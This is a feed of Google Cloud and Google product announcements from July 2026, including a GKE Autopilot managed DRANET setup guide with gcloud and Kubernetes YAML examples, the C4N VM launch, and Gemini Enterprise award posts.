Preview: Advanced Compute Images provide high-performance images to support your artificial intelligence (AI), machine learning (ML), and high-performance computing (HPC) workloads on Google Cloud.

Advanced Compute Images provide a single source of trusted, performance-tuned OS images that remove the need for manual image building for specialized workloads. Each image version is pre-installed with the necessary drivers, network fabrics, and Slurm agents to help you run your workloads.

Gemini Enterprise

Feature

Gemini Enterprise: AlphaEvolve algorithm optimization agent (GA)

The AlphaEvolve optimization service is generally available (GA) on the Gemini Enterprise agent. AlphaEvolve is a code optimization and discovery agent built on top of Gemini that helps solve the hardest algorithmic problems for your business and research. It combines creative, server-side LLM exploration with secure client-side code execution to autonomously discover new, optimized solutions that surpass human-designed baselines.

For more information, see AlphaEvolve documentation.

Autopilot Clusters with GKE managed DRANET: GPUs and TPUs

2026-07-09T07:00:00+00:00

Google Kubernetes Engine (GKE) managed DRANET supports both GPUs and TPUs. There are several configurations to use this implementation, including standard cluster (where you have full control) and autopilot cluster (where Google does the heavy configs for you). I've been exploring the capabilities and in this blog we will explore setting up for autopilot clusters.

Autopilot and managed DRANET

GKE autopilot is a managed version of GKE that handles nodes, scaling, security, and other preconfigured settings. GKE managed DRANET lets you request and allocate networking resources for your Pods, including network interfaces that support TPUs and Remote Direct Memory Access (RDMA).

Setup flow

To deploy your GKE autopilot cluster and enable managed DRANET, you need to create a Virtual Private Cloud (VPC). Let's walk through the setup:

Deploy an Autopilot cluster.
Create a custom ComputeClass which supports the accelerator type (TPU or GPU)
Create a ResourceClaimTemplate for GPUs (RDMA) or non-GPU (TPU)
Deploy workload and reference the ComputeClass and ResourceClaimTemplate to get the correct networking set up.

Now let's explore the configs for both TPU and GPU.

Configure variables:

code_block: <ListValue: [StructValue([('code', 'export PROJECT_ID=$(gcloud config get project) #automatically sets your Project_ID\r\nexport REGION="REGION"\r\nexport CLUSTER_NAME="CLUSTER_NAME"\r\nexport NETWORK="NETWORK"\r\nexport SUBNETWORK="SUBNETWORK"\r\nexport RESERVATION_URL="RESERVATION_URL"\r\nexport HF_TOKEN="HUGGING_FACE_TOKEN"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4f40>)])]>

Replace the following:

REGION: The region where you want to create your cluster, such as us-east1. You can only create the cluster in the region where your reservation or resources exists.
CLUSTER_NAME: A name for your cluster, such as dranet-cluster.
NETWORK: The name of the VPC network.
SUBNETWORK: The name of the subnet in the VPC.
RESERVATION_URL: The URL of the reservation that you want to use to create your resources.
HUGGING_FACE_TOKEN: The Hugging Face access token to download your model.

1. Deploy an Autopilot cluster

Deploy an Autopilot cluster.

code_block: <ListValue: [StructValue([('code', 'gcloud container clusters create-auto $CLUSTER_NAME \\\r\n --project=$PROJECT_ID \\\r\n --region=$REGION \\\r\n --release-channel=rapid \\\r\n --network=$NETWORK \\\r\n --subnetwork=$SUBNETWORK'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4be0>)])]>

2. Create a custom ComputeClass

Example: GPU B200 custom ComputeClass with managed DRANET support and a reservation.

code_block: <ListValue: [StructValue([('code', 'apiVersion: cloud.google.com/v1\r\nkind: ComputeClass\r\nmetadata:\r\n name: dranet-a4-computeclass\r\nspec:\r\n nodePoolAutoCreation:\r\n enabled: true\r\n nodePoolConfig:\r\n dra:\r\n networking:\r\n enabled: true\r\n priorities:\r\n - machineType: a4-highgpu-8g\r\n gpu:\r\n count: 8\r\n type: nvidia-b200\r\n acceleratorNetworkProfile: auto\r\n reservations:\r\n affinity: Specific\r\n specific:\r\n - name: ${RESERVATION_URL}\r\n project: ${PROJECT_ID}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4730>)])]>

Replace the following:

${RESERVATION} : With the URL of the reservation that you want to use to create your resources.
${PROJECT_ID}: With the ID of the project you are using.

Alternatively you can set the variables in your terminal and use the following command to pass the variables at creation envsubst < filename.yaml | kubectl apply -f -

Example: TPU v6e custom ComputeClass using on-demand example.

code_block: <ListValue: [StructValue([('code', 'apiVersion: cloud.google.com/v1\r\nkind: ComputeClass\r\nmetadata:\r\n name: dra-gke-auto\r\nspec:\r\n nodePoolAutoCreation:\r\n enabled: true\r\n nodePoolConfig:\r\n dra:\r\n networking:\r\n enabled: true\r\n priorities:\r\n - tpu:\r\n type: tpu-v6e-slice\r\n count: 8\r\n topology: "2x4" \r\n acceleratorNetworkProfile: auto\r\n location:\r\n zones: \r\n - us-east5-b'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4ca0>)])]>

3. Create a ResourceClaimTemplate

RDMA support deviceClassName: mrdma.google.com ResourceClaimTemplate example for GPUs:

code_block: <ListValue: [StructValue([('code', 'apiVersion: resource.k8s.io/v1\r\nkind: ResourceClaimTemplate\r\nmetadata:\r\n name: all-mrdma\r\nspec:\r\n spec:\r\n devices:\r\n requests:\r\n - name: req-mrdma\r\n exactly:\r\n deviceClassName: mrdma.google.com\r\n allocationMode: All'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4910>)])]>

Non-RDMA deviceClassName: netdev.google.com ResourceClaimTemplate example for TPUs.

code_block: <ListValue: [StructValue([('code', 'apiVersion: resource.k8s.io/v1\r\nkind: ResourceClaimTemplate\r\nmetadata:\r\n name: all-netdev\r\nspec:\r\n spec:\r\n devices:\r\n requests:\r\n - name: req-netdev\r\n exactly:\r\n deviceClassName: netdev.google.com\r\n allocationMode: All'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a42b0>)])]>

4. Deploy workload and reference ComputeClass and ResourceClaim

Create a secret in your cluster

code_block: <ListValue: [StructValue([('code', 'kubectl create secret generic hf-secret \\\r\n --from-literal=hf_token=${HF_TOKEN}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4310>)])]>

Example deploying GPUs

code_block: <ListValue: [StructValue([('code', 'apiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n name: gemma-4-31-deploy\r\nspec:\r\n replicas: 2\r\n selector:\r\n matchLabels:\r\n app: gemma4\r\n template:\r\n metadata:\r\n labels:\r\n app: gemma4\r\n ai.gke.io/model: gemma-4-31b\r\n ai.gke.io/inference-server: vllm\r\n spec:\r\n resourceClaims:\r\n - name: rdma-claim \r\n resourceClaimTemplateName: all-mrdma\r\n containers:\r\n - name: vllm-inference\r\n image: us-docker.pkg.dev/vertex-ai/vertex-vision-model-garden-dockers/pytorch-vllm-serve:gemma4\r\n resources:\r\n requests:\r\n cpu: "10"\r\n memory: "1000Gi"\r\n ephemeral-storage: "1Ti"\r\n nvidia.com/gpu: "8"\r\n limits:\r\n cpu: "10"\r\n memory: "1000Gi"\r\n ephemeral-storage: "1Ti"\r\n nvidia.com/gpu: "8"\r\n claims:\r\n - name: rdma-claim\r\n command: ["python3", "-m", "vllm.entrypoints.openai.api_server"]\r\n args:\r\n - --model=$(MODEL_ID)\r\n - --tensor-parallel-size=8\r\n - --host=0.0.0.0\r\n - --port=8000\r\n - --max-model-len=131072\r\n - --max-num-seqs=16\r\n - --enable-chunked-prefill\r\n - --gpu-memory-utilization=0.90\r\n env:\r\n - name: MODEL_ID\r\n value: google/gemma-4-31B\r\n - name: HUGGING_FACE_HUB_TOKEN\r\n valueFrom:\r\n secretKeyRef:\r\n name: hf-secret\r\n key: hf_token\r\n volumeMounts:\r\n - mountPath: /dev/shm\r\n name: dshm\r\n startupProbe:\r\n httpGet:\r\n path: /health\r\n port: 8000\r\n failureThreshold: 240\r\n periodSeconds: 10\r\n livenessProbe:\r\n httpGet:\r\n path: /health\r\n port: 8000\r\n periodSeconds: 10\r\n readinessProbe:\r\n httpGet:\r\n path: /health\r\n port: 8000\r\n periodSeconds: 5\r\n volumes:\r\n - name: dshm\r\n emptyDir:\r\n medium: Memory\r\n nodeSelector:\r\n cloud.google.com/compute-class: dranet-a4-computeclass'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b4a3a4340>)])]>

Notice how the deployment references the ResourceClaimTemplate and ComputeClass. When this kicks off, it triggers a scale-up operation. GKE Autopilot reads the ComputeClass to provision the specific node type and to configure managed DRANET networking. Meanwhile, the resource claim acts as the bridge, binding your Pods directly to the accelerators on those nodes. This process works exactly the same for TPUs.

Next Steps

Take a deeper dive into GKE managed DRANET and autopilot with these resources:

Hands-on Lab: GKE Autopilot clusters with TPUs, GKE managed DRANET and Gemma 4
Document set: DRANET
Documentation: AI Hypercomputer

Want to ask a question, find out more, or share a thought? Please connect with me on Linkedin.

C4N, now GA: Delivering cloud’s highest per vCPU network and block storage I/O for x86 workloads

2026-07-08T20:00:00+00:00

As organizations scale modern workloads — from high-throughput databases and network/security appliances to real-time analytics and AI/ML inference — network and block storage performance can quickly become a bottleneck. Standard virtual machines often struggle to balance compute efficiency with the high-volume data-transfer demands of these applications.

At Google Cloud Next ‘26, we announced C4N in preview, our first network- and block-storage-optimized Google Compute Engine instance that’s purpose-built to eliminate I/O bottlenecks for demanding enterprise applications, and today, it is generally available. Built on Google's custom-designed Titanium offload architecture, C4N instances offload network and storage tasks to dedicated hardware to unlock incredible performance and compute efficiency. C4N offers up to 400 Gbps of network bandwidth and a market-leading 95 million packets per second (MPPS) — nearly 33% higher network bandwidth per vCPU and 224% faster packet processing performance than comparable Intel-based offerings at other hyperscalers. This performance makes C4N a great fit for network-intensive applications such as virtual appliances (e.g., next-gen firewalls, virtual routers, load balancers, DDoS mitigation), large-scale data analytics, telco applications (5G UPF), distributed compute and CPU-based AI/ML workloads.

Paired with Hyperdisk Extreme, our high-performance block storage, C4N also delivers Compute Engine’s highest block storage performance, scaling up to 25 GiB/s of storage bandwidth and 1M IOPS — nearly 33% higher storage bandwidth and 39% more IOPS per vCPU versus comparable Intel-based offerings, making them a strong choice for large-scale databases, high-performance file systems, in-memory databases, and other workloads that benefit from high block storage performance.

Engineered specifically to deliver predictable, high-throughput I/O performance for networking, packets-per-second-bound and storage-optimized applications, C4N allows customers to scale network, storage, and compute resources more precisely to meet specific workload requirements, delivering significant TCO benefits by eliminating the need to over-provision resources just to meet I/O demands.

C4N is powered by 5th Gen Intel® Xeon® Scalable processors (code-named Emerald Rapids).

“Google Cloud’s introduction of C4N highlights how infrastructure innovation and a strong silicon foundation can help customers address increasingly data-intensive workloads. With Intel Xeon and Custom Infrastructure Processing Unit (IPU), C4N delivers the performance and efficiency needed for demanding network optimized environments.” – Srini Krishna, Intel Fellow, Data Center products, Intel

What’s new: Scaling massive data layers with C4N

Our network-optimized C4N instances are designed to deliver predictable, high-performance I/O at scale. By providing consistent bandwidth, packet-processing performance (PPS), and IOPS scaling across all VM shapes and sizes, C4N helps ensure your most demanding data workloads run reliably. To achieve this, we have built deep resiliency into every layer of our infrastructure — from the host and fabric layers to redundant top-of-rack (ToR) switches — delivering continuous performance for your applications.

Compared to general-purpose C4 VMs, the network-optimized C4N delivers significant performance gains across both network and block storage vectors.

Next-generation network performance

Superior VM-to-VM network bandwidth: Achieves up to 400 Gbps of VM-to-VM network bandwidth (an almost 4x increase in BW-per-vCPU over standard C4) and supports up to 50 Gbps single-flow bandwidth between C4N instances routed within the same VPC network. This provides non-blocking data delivery for high-throughput single-stream and multi-stream applications.
Enhanced VM-to-internet performance: Benefits from an 8x increase in internet egress network bandwidth, reaching up to 200 Gbps. It also features a nearly 32x increase in internet egress packet processing performance, scaling up to 48 MPPS.
Optimized I/O for smaller shapes: Keeps your cloud bill lean by delivering up to 25–50 Gbps of network bandwidth specifically for 2–16 vCPU shapes, great for accelerating I/O-bound tasks without needing to over-provision compute. Furthermore, these smaller shapes introduce predictable, steady-state baseline bandwidth limits to provide consistent performance at a lower cost.
Enhanced out-of-the-box networking: gVNIC interfaces on C4N now start with more Tx/Rx queues by default, scaling with vCPUs up to a maximum of 64 (in comparison to 16 queues on C4/C4D).
Shorter Google Cloud Storage transfer times: C4N VMs now offer up to a 2x increase in bandwidth to retrieve and store large volumes of data from Cloud Storage, boosting performance for analytics, AI/ML, and backup workloads.

Better yet, this performance is available out of the box, with no add-ons. Designed for high performance from the get-go, C4N offers maximum performance without needing to purchase or configure premium add-ons like Tier_1 networking.

Dynamic storage performance with Hyperdisk

The C4N instance family, when combined with Hyperdisk, can help dynamically tune storage performance, latency, and throughput independently of your compute instance sizing to deliver high block storage performance for your applications. C4N supports the complete Hyperdisk portfolio, including Hyperdisk Balanced, Balanced High Availability, Extreme, Throughput, and ML block storage options.

Hyperdisk Extreme: C4N with Hyperdisk Extreme provides low-latency, high-speed data access for modern databases and enterprise AI applications, with up to 25 GiB/s of block storage throughput and nearly 1M IOPS, a 2x increase in storage performance over C4. Also, exclusive to network optimized machine series such as C4N, we now offer Hyperdisk Extreme across all machine sizes — even down to the smallest 2 vCPU sizes.
Hyperdisk Balanced: Delivering the highest throughput and IOPS for general-purpose block storage in the Compute Engine portfolio, Hyperdisk Balanced on C4N scales up to 20 GiB/s of block storage throughput and nearly 640K IOPS. This makes it a highly cost-effective option for running storage-intensive applications at scale.

Together, C4N’s network and storage optimizations combine for tremendous impact in real-world applications:

Web serving: Up to 1.5x additional Nginx requests per second compared to C4 for typical web request sizes (100–300Kb), significantly boosting capacity for network-bound web applications
Databases: Up to 45% better queries per second (QPS) for MySQL when data resides primarily on disk than equivalent C4 VMs

What customers are saying

Industry leaders are already proving that workload-optimized infrastructure is the engine for transformation. Here is how our customers are leveraging the network-optimized power of C4N:

“5G Core workloads are inherently network-heavy, demanding high-throughput packet processing and deterministic latency that standard public cloud instances often struggle to maintain at scale. By leveraging the Google Cloud C4N compute family, we’ve found the ideal engine for Ericsson On-Demand. The C4N’s architectural focus on network-optimized compute allows our 5G Core-as-a-Service to reach unprecedented throughput levels — like our recent 1 Tbps milestone — while maintaining the carrier-grade reliability our customers expect. It’s no longer just about cloud-native; with C4N, we are delivering network-native performance in a public cloud environment.” - Eric Parsons, VP, Head of Ericsson On-Demand, Ericsson

“Teradata's Autonomous Knowledge Platform unifies production-grade AI, analytics, and data into a single integrated system — providing the context, governance, and performance backbone autonomous AI demands at scale. Customers rely on Teradata to run mission-critical, highly I/O-intensive workloads where performance and cost control directly determine value.

Google Cloud C4N instances are well suited for these demanding workloads, delivering strong price-performance and supporting more efficient, optimized deployments. By leveraging C4N on Google Cloud, Teradata Cloud can help customers accelerate from insight to action — scaling enterprise intelligence with confidence and driving greater impact from their data and AI investments” - Kevin Dougherty, Senior Director of Product Management, Core Platform, Teradata

“With the next-generation network and storage bandwidth of C4N VMs, Google Cloud NetApp Volumes will unlock new levels of performance to support our customers’ most demanding AI workloads. By collaborating to extend Google Cloud NetApp Volumes support for the C4N VM family, Google and NetApp are deepening our partnership to address real customer challenges. Together, we’re delivering data-in-place AI and analytics solutions that simplify architectures, maximize performance, and turn data into impact.” - Pravjit Tiwana, Senior Vice President and General Manager of Cloud Storage and Services, NetApp

"Most Compute Engine instances ship with a single high-speed network interface. The new C4N doubles the bandwidth potential with two 200 GbE interfaces. That architectural shift is significant. It means we can dedicate both networks entirely to storage traffic, doubling the available bandwidth for data-intensive workloads, and achieving 2x storage performance over the previous generation. The C4N was announced just weeks ago and is already active in Sycomp's test environment, ensuring our customers can evaluate the latest GCP capabilities without delay. Google Cloud’s published maximum hyperdisk balanced performance for the C4N is 20 GiB/s. In our tests, with three storage servers Sycomp achieved 58.5 GiB/s on read and 58.6 GiB/s on write, with ten C4N storage servers we achieved 195 GiB/s read and write — 97% of the theoretical ceiling with zero platform-specific tuning. That's a strong starting point, and there's measurable room to close the remaining gap through configuration work we can finetune. The C4N isn't just faster — it changes the price-performance equation for storage workloads on Google Cloud." - Scott Fadden, Senior HPC Solutions Architect, Sycomp

“At ClipperDB Technologies, our mission is to drive down the cost and drive up the performance of large-scale Spark analytics. Google Cloud’s C4N instances are the perfect compute engine for our fully native architecture. C4N’s substantial increase in network bandwidth per vCPU combined with large memory configurations and 5th Generation Intel Xeon processors align with ClipperDB’s precise parallel cloud-store prefetching and caching, concurrent dataflow native batch pipelines, streaming no-copy exchange, and cloud store checkpoint fault tolerance to radically accelerate and cost reduce Spark workloads with disaggregated Cloud Storage datalakes.

The results speak for themselves: across industry-standard TPC-DS benchmarks, ClipperDB+C4N delivered over 3x lower cost per query and up to 11x faster analytics, all while maintaining 100% Spark compatibility. We can’t wait to see customers dramatically improve their Spark workload price-performance with C4N coupled with Clipper DB Accelerator." - John Busch, CEO, ClipperDB Technologies

A deeper look at C4N shapes and specs

C4N instances are available in nine different sizes ranging from 2-192 vCPUs and up to 1.5 TB of DDR5 memory, offering predefined shapes in high-cpu, standard, and high-mem configurations.

For applications that benefit from caching and high-speed, low-latency local storage, C4N VM instances are equipped with up to 12 TiB of latest Titanium SSDs (coming soon, Sign-up here to request C4N Local-SSD preview access). For workloads that require direct access to the machine's resources (e.g., hypervisors, container platforms), where nested virtualization does not meet the workload’s performance requirements, or have special performance monitoring or licensing needs, we are introducing C4N bare metal shapes. Coming soon, these native bare metal shapes will offer the same network and storage I/O performance as their virtual machine counterparts. Google Cloud customers can use C4N instances with Compute Engine and Google Kubernetes Engine (GKE), with support for other services coming soon.

Name	vCPUs	Memory (GB)	Local Storage (GiB)	Network Bandwidth		Hyperdisk Extreme Bandwidth (MiB/s)	Hyperdisk Extreme IOPS
Name	vCPUs	Memory (GB)	Local Storage (GiB)	VM-VM (Gbps)	VM-Internet (Gbps)	Hyperdisk Extreme Bandwidth (MiB/s)	Hyperdisk Extreme IOPS
C4n-highcpu	2 - 192	4 - 384	N/A	25 - 400	7 - 200	1.000 - 25,000	80,000 - 1M
C4n-standard	2 - 192	7 - 720	N/A	25 - 400	7 - 200	1.000 - 25,000	80,000 - 1M
C4n-standard-lssd	4 - 192	15 - 720	375 - 12,000	30 - 400	7 - 200	1.000 - 25,000	100,000 - 1M
C4n-highmem	2 - 192	15 - 1,488	N/A	25 - 400	7 - 200	1.000 - 25,000	80,000 - 1M
C4n-highmem-lssd	4 - 192	31 - 1,488	375 - 12,000	30 - 400	7 - 200	1.000 - 25,000	100,000 - 1M

C4N machine series performance and specifications

How to get started

Whether you’re hosting heavy-duty distributed databases, running network virtualization appliances, or orchestrating large-scale data pipelines for AI, C4N is engineered to provide the throughput, scale, and efficiency your business demands. C4N instances are now generally available via on-demand, as Spot VMs, and via reservations. You can also take advantage of further cost savings by purchasing Committed Use Discounts (CUDs) or FlexCUDs in one- and three-year terms in the us-central1 (Iowa), us-east1 (South Carolina), us-east5 (Ohio), us-west1 (Oregon) and europe-west2 (London). For more information visit Network Optimized Machine Type.

Ready to establish a high-performance launchpad for innovation? Head straight to the Google Cloud console to spin up a C4N VM under the “Network Optimized” machine family. Stay up-to-date on regional availability by visiting our regions and zones page or contact your Google Cloud sales representative for more information.

Convert your Google Slides to videos in 7 additional languages

2026-07-08T17:17:49+00:00

Google Vids already lets you convert your Slides content into Vids with AI-generated scripts, voiceovers, background music, and animations for presentations and accounts in English.

We’re now expanding support to French, German, Italian, Japanese, Korean, Portuguese, and Spanish.

Getting started

Admins: There is no admin control for this feature.
End users: There is no end user setting for this feature. Visit the Help Center to learn more about converting Google Slides into Google Vids.

Rollout pace

Rapid Release domains: Gradual rollout (up to 15 days for feature visibility) started on June 30, 2026
Scheduled Release domains: Full rollout (1–3 days for feature visibility) starting on July 20, 2026

Availability

Business: Business Starter, Standard, and Plus
Enterprise: Enterprise Starter, Standard, and Plus
Education: Education Plus
Consumer: Google AI Pro and Ultra
Other Editions: Enterprise Essentials and Enterprise Essentials Plus; Nonprofits
Education Add-ons: Google AI Pro for Education; Teaching and Learning
Other Add-ons: AI Expanded Access

Resources

Google Help: Convert Google Slides into Google Vids

Create shareable video clips in seconds with Video Remix in Google Photos.

2026-07-08T17:00:00+00:00

With Video Remix in Google Photos, you can transform ordinary videos into share-worthy moments in just a few taps.

New ways to keep Google Cloud certifications current and boost your career

2026-07-08T16:00:00+00:00

If you’re reading this, you’ve likely already done the hard work to prove your qualifications with a Google Cloud certification. And good for you — research shows that’ll help you get ahead. Certified individuals report more responses from recruiters, faster promotions, and higher salaries. In fact, 81% of organizations say certifications from Google Cloud increase their confidence in a job candidate's knowledge or ability.

But the pace of change in cloud technology today means getting certified once isn’t enough. The average half-life of a skill used to be about 6 years; today, it’s about 2.5, according to Harvard Business Review research.

That’s why recertification matters more than ever.

And thanks to some new technological approaches, we’re making it easier than ever to keep those certifications up to date. Tools like skill badges and work-based training are just some of the ways we’re recognizing the progress you’ve already made.

Moving beyond the exam

We know that the traditional recertification model — studying for a multi-hour, proctored exam every two years — is a significant commitment of time and resources. And let’s face it: Exams are stressful. You need your skills to stay current. But you need a better, more flexible way to prove it.

That’s why we’re transforming the recertification process. You can now use Google Skills to take up-to-date courses and skill badges to renew your Google Cloud credential.

Get recertified today

Google Skills now lets you select the most vital courses and skill badges behind each certification so that you can prioritize specific products and competencies most aligned to your role.

Deepen your knowledge with select courses: If you want to brush up on new topics, you can take the latest courses and labs to learn what’s changed.
Fast track with skill badges: If you’re already using new cloud technologies in your daily job, you can jump straight to skill badges. Earning a skill badge entails interactive, hands-on labs that validate your ability to apply your knowledge to a real-world problem. The practical approach of skills badges helps you recertify faster than taking courses.

This streamlined recertification opportunity is now available to individuals holding the following certifications: Cloud Digital Leader, Associate Cloud Engineer, Professional Cloud Architect, and Professional Data Engineer.

Once you’ve completed the required activities while your certifications are active, your certification will automatically be extended by one year. You can learn whatever helps your career the most, whenever you have the time.

Your living credential

In a fast-moving job market, an active certification is a living credential. It tells employers not just what you knew once, maybe even years ago — but that you’re ready for any challenge you’ll face today.

Keep your career growing and get recertified through this new program today on Google Skills.

Google Cloud named Leader in the 2026 Gartner® Magic Quadrant™ for AI Infrastructure

2026-07-08T16:00:00+00:00

In the agentic era, AI is evolving from answering questions to reasoning and taking action. Companies who want to lead in this next phase of AI need computing infrastructure that’s designed and optimized for these new requirements, helping them innovate faster, deliver compelling user and customer experiences, and optimize for cost and energy efficiency — all at massive scale.

Today, we are pleased to announce that Google has been named a Leader in the inaugural Gartner^Ⓡ Magic Quadrant™ for AI Infrastructure, positioned highest for ‘Ability to Execute’ and furthest for ‘Completeness of Vision’. We believe their findings validate our dedication to solving these challenges internally and for our customers.

Read the full report: 2026 Gartner Magic Quadrant™ for AI Infrastructure

Building on the infrastructure foundation powering Gemini

Today’s model and serving architectures require a fundamental rethinking of how silicon and software interact. We realized early on that the platform we envisioned couldn’t be bought off the shelf — we had to invent it. For over a decade, our infrastructure engineers and Google DeepMind researchers have worked shoulder to shoulder to co-design the entire stack for Gemini, YouTube, and Search. We make those innovations, together with popular third party and open source software, available to our customers through Google Cloud. Today our integrated stack serves 9 out of 10 frontier AI labs; capital markets firms like Citadel Securities; and enterprises like Mercedes Benz.

At the hardware layer, Gartner recognized our commitment to custom silicon as a core strength. Earlier this year we shared two new advancements in custom silicon, our 8th generation TPUs, engineered to solve enterprise scaling and memory bottlenecks at a systems level:

TPU 8t, the training powerhouse: Purpose-built to optimize training timelines, TPU 8t packs 9,600 chips into a single superpod, delivering the high-density compute required for frontier models with nearly 3x the compute performance per pod over the previous generation.
TPU 8i, the inference engine: Engineered to handle the collaborative, iterative work of specialized agents, TPU 8i breaks the memory wall for real-time agentic workflows, with 288 GB of high-bandwidth memory and 384 MB of on-chip SRAM — 3x more than the previous generation — keeping a model's active working set entirely on-chip.

While our TPU platforms push the boundaries of what is possible, we know that one size doesn't fit all. Different customers have different workloads, different requirements, and different use cases. So, we also partner deeply with NVIDIA to deliver the latest accelerated computing platforms as highly performant, reliable and scalable services in Google Cloud. We will be among the first to deliver A5X instances based on the next-generation Vera Rubin platform when it becomes available later this year, enabling customer choice. We also work closely with NVIDIA to integrate GPUs into many Google Cloud software services to give our customers easier access to accelerated computing.

To enable even more flexibility, we continue to contribute to open-source projects across the orchestration, inference engines, and framework layers through llm-d and vLLM. We also recently announced TorchTPU, which gives PyTorch developers portability without complex code rewrites while maximizing the performance of their deployment.

Get more performance per dollar on AI Hypercomputer

As your infrastructure investment grows, you need to balance raw performance and cost to make AI applications economically viable. Taking a ‘buy now, integrate later’ approach to AI is becoming unsustainable. By combining pre-integrated hardware and open software frameworks that feature flexible consumption models, we deliver a unified system engineered for better performance per dollar across training, reinforcement learning, and inference.

Gartner recognized our integrated AI Hypercomputer as a core strength. This AI-optimized infrastructure is engineered to drastically improve your performance per dollar:

A massive compute cluster is only as effective as the storage system feeding it data. Google Cloud Managed Lustre, powered by our new C4NX instances and Hyperdisk Exapools, now delivers 10 TB/s of bandwidth — up to 20x faster than other hyperscalers — while Rapid Buckets transforms object storage with up to 20 million operations per second, helping ensuring large-scale training checkpoints and recoveries happen near-instantly.
Our Virgo Network provides a high-bandwidth scale-out fabric capable of connecting more than one million TPUs across multiple data center sites into a training cluster, or up to 960,000 GPUs across multiple sites without performance degradation — transforming globally distributed infrastructure into a unified supercomputer.
GKE Inference Gateway enables scaling models in production with near-zero latency by combining LLM-aware routing, caching, and the disaggregated serving capabilities of llm-d, increasing throughput by up to 40% while reducing serving costs up to 30%.

Run AI on a fluid infrastructure at virtually any scale

In the agentic era, infrastructure cannot be a rigid, static constraint. It must be an intelligent resource that adapts to the shifting priorities of your business, scaling up with demand and down to zero when agents are idle, with consistent, reliable performance. On AI Hypercomputer, you can:

Train smarter and faster, using Cluster Director and Google Kubernetes Engine to scale up to 130,000 nodes. At the same time, squeeze up to 97% productivity (Goodput) out of every accelerator using TPU 8t together with software co-designed with Google DeepMind and integrated open-source frameworks — from JAX to Pathways and Pallas.
Enable secure, low latency agent execution with GKE Agent Sandbox. Because agents need to scale, GKE Agent Sandbox can sense agent bursts and respond rapidly — provisioning up to 300 sandboxes per second per cluster, then instantly scale back when agents sit idle, optimizing compute costs.
Run distributed enterprise and AI workloads consistently across multicloud, edge, and on premises environments with Cross-Cloud Network and Cloud WAN. This approach delivers low-latency, policy-driven connectivity across Google’s private global backbone spanning over 10+ million kilometers of fiber and over 200 countries and territories, with up to 40% higher performance than public internet routing.

Take the next steps on your journey with AI Hypercomputer

From frontier models, to billion user applications, AI Hypercomputer gives you the purpose-built hardware, open software, and flexible consumption models you need to improve AI performance, cost, and developer productivity. We are honored to see decades of experience building scalable, affordable and reliable AI systems rewarded with a leadership position in Gartner’s research.

You can download a complimentary copy of the 2026 Gartner Magic Quadrant™ for AI Infrastructure on our website.

3 ways this coffee shop is growing with Gemini

2026-07-08T16:00:00+00:00

2 men standing outside Henry's House of Coffee

Gemini Enterprise for Education named a Commander in Tambellini StarChart™: 2026 AI Agents for Administrative Efficiency—Agent Platforms

2026-07-08T15:14:00+00:00

The agentic AI era is here, transforming how higher education institutions innovate, operate, and fundamentally empower learners, faculty, and researchers. AI agents can deliver unprecedented efficiency, academic innovation, and mission effectiveness as institutions seek to diversify pedagogy, accelerate research, and automate campus operations.

That’s why we are proud to share that The Tambellini Group has named Gemini Enterprise for Education a Commander, the report’s highest category, in the Tambellini StarChart™: 2026 AI Agents for Administrative Efficiency—Agent Platforms, ranking first in innovation and usability. We believe this recognition underscores Google’s AI leadership position in the market, performant Gemini models, and agentic platform that is already being used to strengthen student support and drive new efficiencies across higher education.

The Tambellini StarChart states: "Gemini Enterprise for Education is differentiated by how much it brings together in one place. It combines Gemini models, agent-building tools, enterprise search, governance controls, and Google Cloud infrastructure in a single environment. For institutions that do not want to manage a mix of disparate tools, this creates a clearer path to building and managing AI services at scale."

Source: “StarChart™: 2026 AI Agents for Administrative Efficiency—Agent Platforms,” By Alpha Hamadou Ibrahim, PhD, April 2026

Drive impact with Gemini Enterprise for Education

Gemini Enterprise for Education brings together the best of Google’s AI-optimized cloud services, industry-leading Gemini models, and agentic solutions. It is a seamlessly integrated solution designed from the ground up for AI, built upon three core strengths:

A flexible, unifying foundation built on the Google Cloud stack: Gemini Enterprise for Education stands out because of the unmatched breadth of the surrounding Google Cloud stack. While many campuses are currently limited by siloed, single-task AI applications, Google’s platform enables institutions to establish a custom, unified architecture. In our view, this aligns with the report’s finding that Gemini Enterprise for Education "is best understood as part of a broader cloud AI environment rather than as a single packaged higher education application." By providing this holistic environment, the report notes that the platform offers "a familiar foundation for building conversational and agent-based services that can work across different interfaces, data types, and connected systems." We think this foundation gives institutions complete control to shape how agents are designed, integrated, and deployed across their campus.
Automating complex campus operations to shift focus to strategic oversight: Leveraging this flexible architecture, Gemini Enterprise for Education empowers institutions to handle complex administrative workflows and unify campus intelligence. By taking on multi-step tasks, AI agents allow institutions to shift their focus from manual administrative work to strategic oversight. We believe this is supported by the report’s analysis that the platform "can support administrative use cases such as advising, student support, and service operations" to "administrative efficiency across business, academic, and research operations." Tambellini also states that "simpler agents can be created through no-code tools, while more advanced use cases can be built through the Agent Development Kit and Agent Runtime," which we believe highlights the technical versatility of the platform, allowing campuses to easily design tailored solutions.
Empowering the entire campus with secure, governed AI agents: Beyond administrative efficiency, Gemini Enterprise for Education serves as the new front door to agentic AI for every student, faculty member, and researcher. Users are empowered to trade manual busywork for breakthroughs by deploying custom agents that provide 24/7 adaptive support for the academic journey. In our view, this is validated by Tambellini's focus on the platform’s connection to institutional data, stating that "agents can be grounded in sources such as productivity tools, content repositories, databases, and data platforms like BigQuery" and that features like "enterprise search and Deep Research extend this further by helping users find and synthesize information across connected internal sources." Crucially, as this technology scales, institutions are able to maintain trust. As the report highlights, "administrative controls, permission inheritance, role-based access, logging, and Model Armor help institutions manage access, oversight, and data protection within the same environment."

We believe our Commander placement in the Tambellini StarChart validates a decade plus of investments in AI, security and cloud to drive innovation and impact across teaching, learning and research.

Transforming campus operations

We are driving real-world impact across academia, helping them achieve enhanced operations and strategic progress. From automating complex campus workflows to advancing AI-enabled learning, our customers are seeing measurable benefits:

